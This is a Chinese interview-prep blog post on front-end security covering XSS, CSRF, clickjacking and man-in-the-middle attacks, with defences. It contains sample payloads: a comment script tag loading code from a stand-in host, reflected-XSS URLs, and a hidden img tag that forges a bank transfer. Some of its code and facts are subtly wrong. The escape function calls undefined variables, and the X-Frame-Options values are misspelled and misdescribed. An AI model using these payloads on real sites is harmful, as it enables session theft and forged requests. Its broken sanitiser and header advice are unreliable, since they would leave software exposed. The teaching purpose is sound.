面試官問:你在項目中做過哪些安全防范措施?

大家好,我是若川。今天分享一篇安全相關的文章。

點擊下方卡片關注我、加個星標,或者查看源碼等系列文章。學習源碼整體架構系列、年度總結、JS基礎系列


如果你被面試官問到這個問題,不要急于描述自己遇到的問題以及如何處理的,你得先去理解問題中的潛臺詞。“做過哪些措施”更深層的意思是“你熟悉哪些攻擊方式,知道哪些解決方案?”當然,不可能把每次做的安全防范措施都一一的說給面試官聽, 這樣顯得沒有重點。

「做哪些安全防范」換個思維思考“有哪些攻擊方式?”,那么我們就可以基于攻擊方式的分類,來討論究竟有哪些防范攻擊的措施。

從而可以梳理出關于這個問題回答的思路:


XSS 攻擊

按照之前說的思路,先講概念,說用途

什么是XSS攻擊

XSS即Cross Site Scripting(跨站腳本攻擊),指的是攻擊者想盡一切辦法將一些可執行的代碼注入到網頁中,利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。為了不和層疊樣式表CSS混淆,故將其縮寫為 XSS

XSS 可以分為:存儲型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。

存儲型

存儲型也就是攻擊的代碼被服務端寫入進數據庫中,這種攻擊危害性很大,因為如果網站訪問量很大的話,就會導致大量正常訪問頁面的用戶都受到攻擊。

這種攻擊常見于帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。具有攻擊性的腳本被保存到了服務器并且可以被普通用戶完整的從服務的取得并執行,從而獲得了在網絡上傳播的能力。

反射型

反射型也叫非持久型,相比于前者危害就小一些,一般通過修改 URL 參數的方式加入攻擊代碼,誘導用戶訪問鏈接從而進行攻擊。

這種常見于通過 URL 傳遞參數的功能,如網站搜索、跳轉等。由于需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。

二者區別:存儲型 XSS 的惡意代碼存在數據庫里,反射型 XSS 的惡意代碼存在 URL 里。

舉兩個案例幫助更好的理解:當我們在做商品評論時,用戶輸入的內容未經過過濾直接保存到數據庫中。

攻擊者可以構建一條評論, 包含惡意內容:

質量非常不錯!<script?src="danger.com/spread.js"></script>

當你的評論列表被用戶瀏覽時, 直接從服務端取出,回填到HTML響應中:

<li>質量非常不錯!<script?src="danger.com/spread.js"></script></li>

那么瀏覽器會加載執行惡意腳本danger.com/spread.js, 在惡意腳本中利用用戶的登錄狀態發更多的帶有惡意評論的URL, 誘導更多人點擊,層層傳播,放大攻擊范圍。

這個案例就是一個典型的存儲型XSS攻擊。再來看一個反射型攻擊案例:

某天小范開發了一個搜索頁面,通過用戶輸入搜索內容,展示相應的數據:

http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>http://localhost:8080/helloController/search?name=<img?src='w.123'?onerror='alert("hey!")'>http://localhost:8080/helloController/search?name=<a?onclick='alert("hey!")'>點我</a>

有時攻擊者會偽造一個圖片,讓你點擊后鏈接跳轉URL。

對于這種攻擊方式來說,如果用戶使用的是Chrome 瀏覽器的話,瀏覽器已經幫助用戶做了防御攻擊。但是我們也不能說就不防御了,因為無法保證用戶都是用有防御攻擊的瀏覽器。

XSS攻擊如何進行防范

我們講了這么XSS的原理和危害,那么我們在日常開發當中到底該如何預防呢?

1.輸入輸出過濾

一切用戶輸入皆不可信,在輸出時進行驗證,一般做法是將 ‘ ” < > & 這些個危險字符進行轉義。

const?signs?=?{'&':?'&amp','<':?'&lt','>':?'&gt','"':?'&quot',"'":?'&#39'
}
const?signReg?=?/[&<>"']/g
function?escape(string)?{return?(string?&&?reUnescapedHtml.test(string))??string.replace(reUnescapedHtml,?(chr)?=>htmlEscapes[chr]):?string}?

通過轉義<script></script>將被轉義成&ltscript&gt&lt/script&gt;

對于URL地址的轉義可以使用encodeURI,當你需要編碼URL中的參數的時候,那么encodeURIComponent是最好方法。

上面對字符進行轉義的方式很明顯并不適用于所有場景,比如富文本,這樣會將需要的格式都過濾掉。因為HTML標簽種類繁多,基于黑名單的過濾方法考慮的并不全面,所以我們可以根據白名單過濾HTML, 可以借助xss.js來完成:

//?瀏覽器
<script?src="https://raw.github.com/leizongmin/js-xss/master/dist/xss.js"></script>

使用:

filterXSS('<h1?id="title">XSS?Demo</h1><script?type="text/javascript">alert(/xss/);</script>
<p?class="text-center">Whitelist</p>')

輸出結果:

<h1>XSS?Demo</h1>&lt;script?type="text/javascript"&gt;alert(/xss/);&lt;/script&gt;
<p>Whitelist</p>

如果后端直接將字符串存入數據庫也是不妥的,后端也必須做處理,因為發送到后端的內容還可以通過其他方式, 前端處理并不能保障安全。

2. Cookie 的 HttpOnly

當用戶的登錄憑證存儲于服務器的 session 中,而在瀏覽器中是以 cookie 的形式存儲的。很多XSS攻擊目標都是竊取用戶cookie偽造身份認證。

可以通過在 cookie 中設置 HttpOnly 屬性,js腳本將無法讀取到 cookie 信息。

ctx.cookies.set(name,?value,?{httpOnly:?true?//?默認為?true
})

3. CSP(內容安全策略)

CSP (Content Security Policy,內容安全策略)是 W3C 提出的 ,本質上就是白名單制度,開發者明確告訴瀏覽器哪些外部資源可以加載和執行。它的實現和執行全部由瀏覽器完成,我們只需提供配置。

CSP 大大增強了網頁的安全性。攻擊者即使發現了漏洞,也沒法注入腳本,除非還控制了一臺列入了白名單的可信主機。

兩種方法可以啟用 CSP:

  • 一種是通過 HTTP 頭信息的Content-Security-Policy的字段

  • 另一種是通過網頁的<meta>標簽

方式1舉例

Content-Security-Policy:?default-src?‘self’

表示只允許加載本站資源

Content-Security-Policy:?default-src?https://demo.example.cn?https://demo.example2.cn;?object-src?'none'

CSP 的值中,不同屬性以 ; 隔開,同一屬性的多個值以空格隔開。上面例子的意思就是默認允許讀取 https://demo.example.cnhttps://cdn.example2.net 的資源,object-src 使用的相關資源無白名單,也就是完全不允許讀出。

如果使用了不符合要求的資源,瀏覽器會給予攔截,給出下面提示:

Refused?to?execute?inline?script?because?it?violates?the?following?Content?Security?Policy?directive

我們也可以使用 meta 標簽代替 HTTP 頭:

<metahttp-equiv="Content-Security-Policy"content="default-src?https://cdn.example.net;?child-src?'none';?object-src?'none'"
/>

Content-Security-Policy 的常用選項有這些:

  • default-src: 是 src 選項的默認值,但不能覆蓋以下值:base-uriform-actionframe-ancestorsplugin-typesreport-urisandbox

  • base-uri:特別說一下<base> 標簽是因為孤陋寡聞的我第一次見到。指定用于一個文檔中包含的所有相對 URL 的根 URL,一個文件只能有一個 <base> 標簽,用起來大概是這樣的:<base target="_top" href="http://www.example.com/">

  • connect-src: XHR、WebSockets 等連接使用的地址

  • font-src:字體文件來源

  • img-src:圖片地址

  • media-src:音視頻地址

  • object-src:Flash 相關

  • report-uri:出現報錯時提交到指定 uri,不能在 ?標簽使用

  • style-src:樣式文件

CSRF 攻擊

除了上面說的XSS攻擊外,還有一種常見的攻擊方式:CSRF攻擊。

什么是CSRF攻擊

CSRF:跨站點請求偽造(Cross-Site Request Forgeries),也被稱為 one-click attack 或者 session riding。冒充用戶發起請求(在用戶不知情的情況下), 完成一些違背用戶意愿的事情(如修改用戶信息,刪除評論等)。

舉個例子,好友小A在銀行存有一筆錢,輸入用戶名密碼登錄銀行賬戶后,發送請求給xiaofan賬戶轉888:

http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaonfan

轉賬過程中, 小A不小心打開了一個新頁面,進入了黑客(xiaohei)的網站,而黑客網站有如下html代碼:

<html><!--其他內容--><img?src=http://bank.example.com./withdraw?account=xiaoA&amount=888&for=xiaohei?width='0'?height='0'><!--其他內容-->
</html>

這個模擬的img請求就會帶上小A的session值, 成功的將888轉到xiaohei的賬戶上。例子雖然是get,post請求提交表單同樣會被攻擊。

CSRF攻擊的特點:

  • 通常發生在第三方網站

  • 攻擊者不能獲取cookie等信息,只是使用

如何防御

  • 驗證碼:強制用戶必須與應用進行交互,才能完成最終請求。此種方式能很好的遏制 CSRF,但是用戶體驗相對差。

  • 盡量使用 post ,限制 get 使用;上一個例子可見,get 太容易被拿來做 CSRF 攻擊,但是 post 也并不是萬無一失,攻擊者只需要構造一個form就可以。

  • Referer check:請求來源限制,此種方法成本最低,但是并不能保證 100% 有效,因為服務器并不是什么時候都能取到 Referer,而且低版本的瀏覽器存在偽造 Referer 的風險。

  • token:token 驗證的 CSRF 防御機制是公認最合適的方案。

CSRF 與 XSS 區別

通常來說 CSRF 是由 XSS 實現的,CSRF 時常也被稱為 XSRF(CSRF 實現的方式還可以是直接通過命令行發起請求等)。

本質上講,XSS 是代碼注入問題,CSRF 是 HTTP 問題。XSS 是內容沒有過濾導致瀏覽器將攻擊者的輸入當代碼執行。CSRF 則是因為瀏覽器在發送 HTTP 請求時候自動帶上 cookie,而一般網站的 session 都存在 cookie里面。XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶網頁瀏覽器的信任。

點擊劫持

點擊劫持(click hijacking)也稱為 UI 覆蓋攻擊。它通過一些內容(如游戲)誤導被攻擊者點擊,雖然被攻擊者點擊的是他所看到的網頁,但其實所點擊的是另一個置于原網頁上面的透明頁面。

根據先點擊劫持原理示意圖,分析典型點擊劫持攻擊流程:


  • 攻擊者構建了一個非常有吸引力的網頁

  • 將被攻擊的頁面放置在當前頁面的 iframe 中

  • 使用樣式將 iframe 疊加到非常有吸引力內容的上方

  • 將iframe設置為100%透明

  • 用戶在不知情的情況下點擊按鈕,觸發執行一些其他命令。

如何防御

點擊劫持攻擊需要首先將目標網站載入到惡意網站中,使用 iframe 載入網頁是最有效的方法。

所以可以設置我們的網頁不允許使用iframe被加載到其他網頁中就可以避免這種情況了,我們可以通過在響應頭中設置X-Frame-Options(服務器端進行),X-Frame-Options可以設置以下三個值:

  1. DEBY:不允許任何網頁使用iframe加載我這個頁面。

  2. SAMEORIGIN:只允許在相同域名(也就是自己的網站)下使用iframe加載這個頁面。

  3. ALLOWED-FROM origin: 允許任何網頁通過iframe加載我這個網頁。

這種方式在一些老舊的瀏覽器上是不支持的,具體可以通過can i use去查看

中間人攻擊

中間人(Man-in-the-middle attack, MITM)是指攻擊者和通訊的兩端分別創建獨立的聯系,并交換其得到的數據,攻擊者可以攔截通信雙方的通話并插入新的內容。


一般的過程如下:

  • 客戶端發送請求到服務端,請求被中間?截獲

  • 服務器向客戶端發送公鑰

  • 中間?截獲公鑰,保留在???上。然后???成?個【偽造的】公鑰,發給客戶端

  • 客戶端收到偽造的公鑰后,?成加密hash值發給服務器

  • 中間?獲得加密hash值,???的私鑰解密獲得真秘鑰,同時?成假的加密hash值,發給服務器

  • 服務器?私鑰解密獲得假密鑰,然后加密數據傳輸給客戶端

如何防御

采用HTTPS通信可以防御中間人攻擊, 但是使用HTTPS并不就絕對安全,一方面你要完全關閉HTTP通信,如果沒有完全關閉,攻擊者可以通過某些方式將HTTPS 降級為HTTP,從而實現中間人攻擊。

其次使用HTTPS通信,開發時也不要忽視證書的校驗,或者對于非法證書不進行處理,這樣也容易被中間人攻擊。這里給大家推薦文章 HTTPS中間人攻擊實踐(原理?實踐)

為什么有些軟件如Fiddler可以還原https報文?

Fiddler是通過中間代理的方式抓取報文,還原https報文的前提是在客戶端的根證書列表下加入Fiddler生成的CA根證書。這樣Fiddler就成為CA,可以偽造數字證書,偽裝成服務器。但是只能用于測試,不能實現真正意義上的竊取數據。

總結

以上是我們平時開發過程中一些常見的前端安全方面的知識以及我們應該如何防御這些攻擊。但是安全的領域相當大,這些內容只是滄海一粟,如果需要深入學習安全防御方面的知識,這是遠遠不夠的。

參考文章:

https://juejin.cn/post/6844904100945985543#heading-10

http://www.atguigu.com/mst/html/gp/17649.html

https://wurh.github.io/2019/03/29/20190401/

https://www.cabeza.cn/blog/2019/05/14/web-security-xss/


最近組建了一個江西人的前端交流群,如果你也是江西人可以加我微信 ruochuan12 拉你進群。


·················?若川出品?·················

今日話題

略。歡迎在下方留言~? 歡迎分享、收藏、點贊、在看我的公眾號文章~

一個愿景是幫助5年內前端人走向前列的公眾號

可加我個人微信?ruochuan12,長期交流學習

推薦閱讀

我在阿里招前端,我該怎么幫你?(現在還能加我進模擬面試群)

若川知乎問答:2年前端經驗,做的項目沒什么技術含量,怎么辦?

點擊方卡片關注我、加個星標,或者查看源碼等系列文章。
學習源碼整體架構系列、年度總結、JS基礎系列

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/275870.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/275870.shtml
英文地址,請注明出處:http://en.pswp.cn/news/275870.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

TCP/IP協議族之應用層協議(FTP、TFTP)

文件傳送協議FTP: File Transfer Protocol 是因特網上使用得最廣泛的文件傳送協議。提供交互式的訪問&#xff0c;允許客戶指明文件的類型與格式&#xff08;如指明是否使用ASCII碼&#xff09;&#xff0c;并允許文件具有存取權限&#xff08;如訪問文件的用戶必須經過授權&am…

消滅病毒_消滅遺產

消滅病毒The year was 1995, I was 10 years of age. The number 1 single in the UK was Think Twice by Celine Dion, and Batman Forever was the highest grossing movie across the pond in the States. Manchester United, unfortunately, won their 3rd Premier League …

logcat崩潰_使用logcat抓取Android崩潰日志

一、安裝jdkJDK網上教程非常多&#xff0c;此處不再贅述。(好像不裝也沒關系&#xff0c;未實測)二、工具列表a) adb包(v.1.0.31版本或以上&#xff0c;下文提供下載地址)b) logcat.bat文件(下文制作)三、安裝adb(二選一)a) 放到任意位置(推薦)因為adb…

基于 Ubuntu 16.04 LTS 的 KDE neon 到達維護周期

隨著 KDE neon 在 Ubuntu 18.04 LTS 發布&#xff0c;開發團隊已經決定 放棄維護基于 Ubuntu 16.04 LTS版本&#xff0c;大多數用戶預警將希望升級到基于 Ubuntu LTS 的 KDE neno 新版本。“去年KDE neno 被重新定位到 Ubuntu bionic / 18.04上&#xff0c;并且升級已經基本順利…

真誠推薦7個能助你成長的前端大佬

不得不說&#xff0c;如今比前些年學習資料多很多了。現在的前端公眾號也挺多的&#xff0c;這里推薦幾個前端大佬運營的公眾號&#xff0c;都是聚焦前端垂直領域的優質公眾號&#xff0c;關注這些公眾號至少可以&#xff1a;1、了解現在前端技術發展情況和未來發展趨勢&#x…

Silverlight學習筆記(3):Silverlight的界面布局

在上一篇中講述了使用VS2010開發Silverlight的一些基礎知識&#xff0c;并且講述了Silverlight的部署和代碼安全知識&#xff0c;這一篇主要是講述如何在Silverlight中擺放界面元素。記得早年前我還在學習Java的時候&#xff0c;當時有兩種開發Java SE的方法&#xff0c;一種是…

pov-inc_yourself勞自己-懶惰的設計師的POV和一些Figma

pov-incAre you ready and lazy enough (you will fully understand with continue reading this)? Coffee and tea next to you? Alright. This article is going to (not) kick you in your a**. It will be a bit of ‘lesson learned’, for sure a bit of FIGMA, and a …

Geary 0.13.0 發布,GNOME 3 Email 客戶端應用

百度智能云 云生態狂歡季 熱門云產品1折起>>> Geary 0.13.0 發布了&#xff0c;Geary 是一個電子郵件應用&#xff0c;用于 GNOME 3 桌面版本&#xff0c;它允許閱讀、查找和發送電子&#xff0c;并提供簡潔、現代化的界面。這是一個重要的新版本&#xff0c;具有許…

mysql表連接_mysql表連接

在數據庫中tableA連接tableB如下&#xff1a;tableA:a1  a21  12  23  24  3tableB:b1 b22  12  23  33  46  5笛卡爾積&#xff1a;select * from tableA, tableB.1  1  2  11  1  2  21  1  3  31  1  3  41  1  6  52…

輕型本地服務器_一小時超輕型漂移機

輕型本地服務器Iwas introduced to the world of Hyper Light Drifter through a series of visions — titans ravage a broken city, a shallow sea is stained red by floating corpses, a skinny dog leads me into the yawning abyss of a pillar in the center of the se…

baidu的服務器數據里面裝的都是垃圾!

baidu的服務器數據里面裝的都是垃圾&#xff01; 除了垃圾廣告一點價值沒有&#xff0c;能不能學學google。 國人天天喊支持國貨&#xff0c;但國貨很多垃圾&#xff0c;沒有人管理這些制造垃圾的人。 轉載于:https://www.cnblogs.com/helper/archive/2010/10/12/1848371.html

聊聊前端面試

大家好&#xff0c;我是若川。今天分享一篇面試相關的文章。點擊下方卡片關注我、加個星標&#xff0c;或者查看源碼等系列文章。學習源碼整體架構系列、年度總結、JS基礎系列最近 Zoom 國內又開放招聘了&#xff0c;我們組有了前端的 HC&#xff0c;所以我也參加了幾場面試。合…

成為自信的node.js開發者(一)

這個博客是我最近整理了過去的文章。 適合閱讀的同學 想更進一步深入理解node的同學&#xff0c;如果你已經稍微了解一點點node, 可以用node做一些小demo&#xff0c;并且想更深一步的了解&#xff0c;希望這篇文章可以幫助到你。 不太適合閱讀的同學 不太熟悉基本的javascript…

mysql讀寫分離和分布式_MySQL主從復制與讀寫分離

MySQL主從復制(Master-Slave)與讀寫分離(MySQL-Proxy)實踐Mysql作為目前世界上使用最廣泛的免費數據庫&#xff0c;相信所有從事系統運維的工程師都一定接觸過。但在實際的生產環境中&#xff0c;由單臺Mysql作為獨立的數據庫是完全不能滿足實際需求的&#xff0c;無論是在安全…

ux和ui_UI和UX設計師的10種軟技能

ux和ui重點 (Top highlight)As designers, whether it be UI, UX, or Product Design, we tend to direct our focus and energy on developing and mastering tangible skills.作為設計師&#xff0c;無論是UI&#xff0c;UX還是產品設計&#xff0c;我們都將重點和精力放在開…

SQLServer中批量插入數據方式的性能對比 (轉)

轉自&#xff1a;http://www.cnblogs.com/wlb/archive/2010/03/02/1676136.html 昨天下午快下班的時候&#xff0c;無意中聽到公司兩位同事在探討批量向數據庫插入數據的性能優化問題&#xff0c;頓時來了興趣&#xff0c;把自己的想法向兩位同事說了一下&#xff0c;于是有了本…

VueConf China 2021 《Vue3生態進展-尤雨溪》 Reaction

大家好&#xff0c;我是若川。今天分享昨天Vueconf的一篇文章&#xff0c;來了解下Vue的生態進展。另外今晚7點&#xff0c;Vuebeijing社區邀請了尤大會在視頻號直播&#xff0c;可以加我微信 ruochuan12&#xff0c;告訴觀看地址提前預約。點擊下方卡片關注我、加個星標&#…

Plsql運行mysql腳本_oracle中PLSQL語句

1.set autot off 禁止使用autotrace命令 set autot on 這個命令包括exp 和 stat(執行語句、生成explain plan、生成統計信息) set autot trace 不執行sql語句&#xff0c;但(生成explain plan、生成統計信息) set autot trace exp stat 與上句同 set autot trace st1.set autot…

2019年,你需要關注這些Node API和Web框架

對于Node.js框架和開源軟件來說&#xff0c;2018年是非常有趣的一年。開發者社區討論了企業贊助對開源項目的作用以及如何維護那些沒有經濟支持卻有數百萬人使用的項目。同樣&#xff0c;安全問題也得到了極大關注&#xff0c;一些流行的Node/JS軟件包被劫持&#xff0c;Github…

ai創造了哪些職業_關于創造職業的思考

ai創造了哪些職業When I was growing up, the idea of a creative career wasn’t an option.當我長大時&#xff0c;創意事業的想法不是一個選擇。 I had enjoyed doodling, arts and crafts as a kid, so as I grew up, it was a natural transition into Photoshop and lat…